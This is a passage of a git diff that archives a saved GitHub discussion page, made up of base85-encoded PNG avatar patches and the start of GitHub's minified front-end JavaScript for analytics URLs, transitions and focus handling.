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 JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 zcmV+x3+eQUP)24gywLYi1d%B0SabF~gmSxG3CCio<$%cJ_dvT$Q8zBA@BZz+_d8fQU9w0A}AVCb< z@%~bU>nF`V>r`G)z@Erb(ZRuA3S&fKOZ9^ zL}WiUjNS|p0pR4IiRcBLe5{=uw0F}l;^brPXC@DC#N|RG2rN64|K|DkSsN0w#Xesbrty>DD zb!)Vm9qc23_HIi#l?&jBPq%vl0(3v4dkDxOatItEn}Xrleo23}y3i}=uH?!l!7cmNJ2fXkH9r`}iR#}7t}`C>On!Z3dH0B!AT z&r3h3!x|wciA*BhF-(hpw>f#@GqKrjn~ZPBkbglG^g}ox0Far?-`c(JI8Ha9Lroto zk9$iG`bP$M2h1H987Kpm1}I?wh_`@(V6lf`AQGVXAjD8`*)-0vf2=&|2DE3#xcB}2 z{oPCz1UEt)=7AxNY8@nqX%~(giJ9o@K29_Fw*(+b(oFyAc6H}ixL)JOfWAF{ci_|@ ziOvX+!*1<0<$e_sAQG*|r)cyz5yWONA0o<(^xbMcFirDlJjZ8w^?H2`HwDKY&2Cqw z%ymG)0f@j8dY}~SA@VrszDS&xwQtuR9u3;Fqd-4cd^mDuMDRisV05x9+GPX+rO=z$ z7qO0ASe~d=wpULM+AxeIvl7zmZ)VeQG#2ZR01iQvu4V}I?0a)hBn~MBZ5kf8_4Z+? zj?wg;nY+VNBZLXq(A;V&W4?zDBcP9w5-Lxn);$4Z=mi#sa5DSV=KaIG@KIshw(YXD z7Sv)9)MTlIG6on@TaTzU?kFhY1IfKMI7og=L~DK3$FoOyz;r)-Z{~jA={)&Kf-h)p z7CIqq1TkPh6m=9tDFg>0-}{FU1{x$nXf4$m>(#%vZ@1eiA~{qZwr$Th78ON~&J~Yl zvuRL4rsNcifQsHlI1VW;uj3#8-iS1B%JYIN`n<^4S$n$OE z`Fd@B)7omKD~>twW9_`L#GMR*w z321+#w%K3TFSE+Z51Y51>&tba%Gk8)h&btChN5zEbZhVHWjdoMBU#=g0vS&JmBGKw zes(D6s6Abr(NQ$0g z*NxrVW%>02>r=!iI0Q0+O)F#7<(1{wxTR`(W^Yc*Y7p^X?x@nj%mSW|<)ZSKYF(1o zTI*|HJZsMEQc}MZ#T_KpM6u9ltT%Qat*X~bC^2u=gAK$)Fe{7=e7-Ur?KDNx3(L=q zk|ls*sOHMkvi_>X6Svr1^GzDgSeN7tdAsuI?7^cgGM%V)WAiWOH{2ZNd3AqnN4we& z3_WUiLM!=W!uY=Zm+aZ+PgCR(XnLc*Stu6boltGPx>c;RjFd#|UF}{f6=eHzW=q{$ z{(NTt-a5F@BQ83g3b^>{4>wz8Q@v0M8?*^n+@mwd=CZeT?k2MBm^}J2ef(rwIA>4F zOM4Z0REw0-?uMdX68kJZtWr^itJ=;$?T4>s_ogdk*kTwdHvh<>+VqM&2$|D45ePz# zg@(jv1Ca#Q8R`DacM#EBOdkDe(FBvX?=s~$&fL@aP|8ubQPK@Q-%$~D0L#hnnp!>6 zT>R?E?$^t9%?SM+fzz_~zFcOnX5~ROoR1bq9Jr}4l)0aoqBh-l*lM-XE0=-NK)c=o z1-uHhGFLV)$lx6%?1amA>x8mf#dziic$68tlC7Q9mmbb;f3alm>40GFwfF8+lxroX z$`Hg`o6{L_trU3fz~!o!iqmsdhh$jw^NtnTu zl?@apAVcY5U)?tMpUmYBG^MC&?+);4S1iO4SO9J&L)5uq;`a=|WCofLMRI+bF{UXR z5f}|)v9&4LUI#fT(VesZrQjX931b)j!X>#(A{t)9S=ALovX!PBa?imMX@@L5|9bV z;otS`=KB+GN83wAM6AKqU?b|4Ic^IC<%TPXURP*6w6;(Mc!3)I@ehy(nJ~B~kXuJ1 zO*KXb`UgZyoh}amuD)``s3sFxj@xt{lZyV_zzB!kA$LUDEJh6l?ih4G29d9;)?V|2 z@pnQbsf#t^W8*ia_sj!5#*+i6GH+!IAX+k{r>IGqBR^ufQXmh01O5m^lOCY)YH4I> zB++EbNdND<|8shw z;_p8E1ZG-^o8s=mN(Ixk#k@oi!NV+=q9q!^;7;!B#8d*?p@nTOm;3e9FIyW2$zCPT z35Z$bHGdT4u|;(RKT1<)eG>u~Nv_^#UoTuuU1vOW0rK+s*RI!Jv-KFaC?i<`0&o4+ z19m*$(ekKM3Z1uG+)`hC=|XB#M|rQ0-up#vCW!_m5X-otbHq+TreneQ!El8zOgj9l zOv8LP_j)Ir=`Js7ilY4ft=||6jo4mZ2n8qv-{dWs3-^+a6VWdzok*BW6rut(v9fjf z?4?dfU9C@#kB)tm|8Jw#j%IPFAWs`&vJUfvnA1(U1NR|Da6$aIce!oa*K=2oc*=Nu zaC`5K8)wVIZWiVXn7M3`uM6=-{1guhJ9zLRdu@baFhMsUILrFAvsY8WbhSS1*(dLR zOi!8wfs;l-HbQ(0pZp@kN*jp%qzKT^%Xwy7_O;AKMNv|b^zcY7pUeOD+{b#Q5k_!^ zoe6eW0)YQuC`Nc9yo45U)a0z{?_aonG@foB$-Q#++=u3ymTrZ^skjMAieV>CE*r;9 zN==7r+Iz_4ZeWw$wpx|CHQN|i)^7HHa2U;j_3*^@|8Lx!{dA%6hVPykKyrwPY)|fj z>{w>S5EL$V$Fz-F8>;pI6h@Vyq0GRLTpBqwQYw{>rO&Heu&397c6N9E@aT`~#ex`9 zlgQ+`JO;Xvc&hCR=C$$eR-<(QTQO*U9w&h_U?#X>PZp3mp=-pb&=@$HPB zU!8dS@>`>o5k$=A^SNA3lB5^(u1Kn#@GS%Yn4Fw^0eHHyp5H?F=~%ZeuhahXwph2; oLm2<**uSdjA5k9v3;+QC{{_cV+~#5IKmY&$07*qoM6N<$f(5X4$^ZZW literal 0 HcmV?d00001 diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..c3d50169893d86d397594dacdbcf7a1f2ab28289 GIT binary patch literal 1536 zcmV+b2LJhqP)WFitm^m@H+uiF#01O2p~E{zrcF|gIJo;KEPL)yZz$#ziK*mtlmn8dWE8M-#c z88Sc+NA}&u?eWpV+k%Pc$=1rst3TS)IyX~@0D$TM4Uy~K7xxbVAs`=3|FpOGsrX3K zwBeSAt#R$B_T97ZH_Tn3lV+ViL0JI zB8un;$PiFn+bq_mti7qRi6P*@ipz)PHSL9#)0K$6v`LU4HI9D-c{~@Xf*yLHrS*q= zwP*L<7`#$jO=r_e5>xw@@?71>)OvzzUyazY0C@3sLqLEa&+`Y3$COx{;oz!OtEU>C zIYQ_(yF8!v><4C|5R*^!&idax7b>OB^ZMo+fR_)RW=0Hht*cB8pb<7M)H@sCf`Jmv z7<-i4XtrB_3EXHkD_Yf;>w4~>q=Z%q_4zD{fX4z3Bl^$w;=q6>!B5I7Mn3CN2}ty% zFv5F$19U9ZF{wT^@WdT7FN%fr#Z$nYZfBRuL0pxUuGQh=u?3E~PC@jOet=3fPccb( zw7B<+zHBwDVc@0RzZP;8Z3d;5^BAq+^PsSWtVt-VtqH%qWip0rRqp ztP9=MowWgA)EEVuYI}3XnPMRof`SDcogyBZwe8>58c!?K_a>0XCZgtY#mPx+Eahnh z27yh|GWc09xtybuG<=&@y4hVOv>WCVXQ(85Dw6(BmJt>ndfJi#x zXt4~Jbe7cut>H5GYhYhu3mblFMcpaOj3#gQtnQYmFhf^&$9qy=8B+ZRf^rQ=Q@jpM zYpI^s@=Rl?nVj#gBwz?pg$dS6!)VOKfl!@vM=Z|;-a4iB$W z5cxpb0O^Q9l|TrSCwyR#Rr}7wTw=-qFz5XK<>R(j`;yUre~7Tr#)^I1!?Akr72kawapIfAhu1#1yjSq6 zmnZtQ!lm%OHwcNAOez4<5jVuNnKcK*^&~JN-k-hq)w8cfi6KI~hA6`#E*4ON*I-25 zHoE!+y-?8d=V0`rF<$)d;Frf?FKwo2eo^@No94INOeswc2`NR#ksYB4%%Wj3BbPD_ zmLB2RVtu@rI$tW4(&^-K4i{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function 